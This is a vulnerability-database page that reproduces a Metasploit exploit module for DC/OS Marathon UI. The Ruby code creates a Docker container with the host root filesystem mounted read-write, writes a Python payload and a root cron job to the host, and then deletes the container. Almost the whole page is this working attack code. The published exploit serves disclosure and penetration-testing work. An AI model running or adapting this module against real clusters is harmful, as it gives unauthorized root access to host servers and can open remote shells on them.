Lucene search
K

DC/OS Marathon UI Docker Privilege Escalation

🗓️ 07 Jun 2017 00:00:00Reported by Erik DaguerreType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 27 Views

DC/OS Marathon UI Docker Privilege Escalation exploit to create cron job in the host serve

Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'DC/OS Marathon UI Docker Exploit',  
'Description' => %q{  
Utilizing the DCOS Cluster's Marathon UI, an attacker can create  
a docker container with the '/' path mounted with read/write  
permissions on the host server that is running the docker container.  
As the docker container executes command as uid 0 it is honored  
by the host operating system allowing the attacker to edit/create  
files owed by root. This exploit abuses this to creates a cron job  
in the '/etc/cron.d/' path of the host server.  
  
*Notes: The docker image must be a valid docker image from  
hub.docker.com. Further more the docker container will only  
deploy if there are resources available in the DC/OS cluster.  
},  
'Author' => 'Erik Daguerre',  
'License' => MSF_LICENSE,  
'References' => [  
[ 'URL', 'https://warroom.securestate.com/dcos-marathon-compromise/'],  
],  
'Targets' => [  
[ 'Python', {  
'Platform' => 'python',  
'Arch' => ARCH_PYTHON,  
'Payload' => {  
'Compat' => {  
'ConnectionType' => 'reverse noconn none tunnel'  
}  
}  
}  
]  
],  
'DefaultOptions' => { 'WfsDelay' => 75 },  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Mar 03, 2017'))  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('TARGETURI', [ true, 'Post path to start docker', '/v2/apps' ]),  
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]),  
OptString.new('CONTAINER_ID', [ false, 'container id you would like']),  
OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ])  
])  
end  
  
def get_apps  
res = send_request_raw({  
'method' => 'GET',  
'uri' => target_uri.path  
})  
return unless res and res.code == 200  
  
# verify it is marathon ui, and is returning content-type json  
return unless res.headers.to_json.include? 'Marathon' and res.headers['Content-Type'].include? 'application/json'  
apps = JSON.parse(res.body)  
  
apps  
end  
  
def del_container(container_id)  
res = send_request_raw({  
'method' => 'DELETE',  
'uri' => normalize_uri(target_uri.path, container_id)  
})  
return unless res and res.code == 200  
  
res.code  
end  
  
def make_container_id  
return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?  
  
rand_text_alpha_lower(8)  
end  
  
def make_cmd(mnt_path, cron_path, payload_path)  
vprint_status('Creating the docker container command')  
payload_data = nil  
echo_cron_path = mnt_path + cron_path  
echo_payload_path = mnt_path + payload_path  
  
cron_command = "python #{payload_path}"  
payload_data = payload.raw  
  
command = "echo \"#{payload_data}\" >> #{echo_payload_path}\n"  
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path}\n"  
command << "echo \"\" >> #{echo_cron_path}\n"  
command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}\n"  
command << "sleep 120"  
  
command  
end  
  
def make_container(mnt_path, cron_path, payload_path, container_id)  
vprint_status('Setting container json request variables')  
container_data = {  
'cmd' => make_cmd(mnt_path, cron_path, payload_path),  
'cpus' => 1,  
'mem' => 128,  
'disk' => 0,  
'instances' => 1,  
'id' => container_id,  
'container' => {  
'docker' => {  
'image' => datastore['DOCKERIMAGE'],  
'network' => 'HOST',  
},  
'type' => 'DOCKER',  
'volumes' => [  
{  
'hostPath' => '/',  
'containerPath' => mnt_path,  
'mode' => 'RW'  
}  
],  
},  
'env' => {},  
'labels' => {}  
}  
  
container_data  
end  
  
def check  
return Exploit::CheckCode::Safe if get_apps.nil?  
  
Exploit::CheckCode::Appears  
end  
  
def exploit  
if get_apps.nil?  
fail_with(Failure::Unknown, 'Failed to connect to the targeturi')  
end  
# create required information to create json container information.  
cron_path = '/etc/cron.d/' + rand_text_alpha(8)  
payload_path = '/tmp/' + rand_text_alpha(8)  
mnt_path = '/mnt/' + rand_text_alpha(8)  
container_id = make_container_id()  
  
res = send_request_raw({  
'method' => 'POST',  
'uri' => target_uri.path,  
'data' => make_container(mnt_path, cron_path, payload_path, container_id).to_json  
})  
fail_with(Failure::Unknown, 'Failed to create the docker container') unless res and res.code == 201  
  
print_status('The docker container is created, waiting for it to deploy')  
register_files_for_cleanup(cron_path, payload_path)  
sleep_time = 5  
wait_time = datastore['WAIT_TIMEOUT']  
deleted_container = false  
print_status("Waiting up to #{wait_time} seconds for docker container to start")  
  
while wait_time > 0  
sleep(sleep_time)  
wait_time -= sleep_time  
apps_status = get_apps  
fail_with(Failure::Unknown, 'No apps returned') unless apps_status  
  
apps_status['apps'].each do |app|  
next if app['id'] != "/#{container_id}"  
  
if app['tasksRunning'] == 1  
print_status('The docker container is running, removing it')  
del_container(container_id)  
deleted_container = true  
wait_time = 0  
else  
vprint_status('The docker container is not yet running')  
end  
break  
end  
end  
  
# If the docker container does not deploy remove it and fail out.  
unless deleted_container  
del_container(container_id)  
fail_with(Failure::Unknown, "The docker container failed to start")  
end  
print_status('Waiting for the cron job to run, can take up to 60 seconds')  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation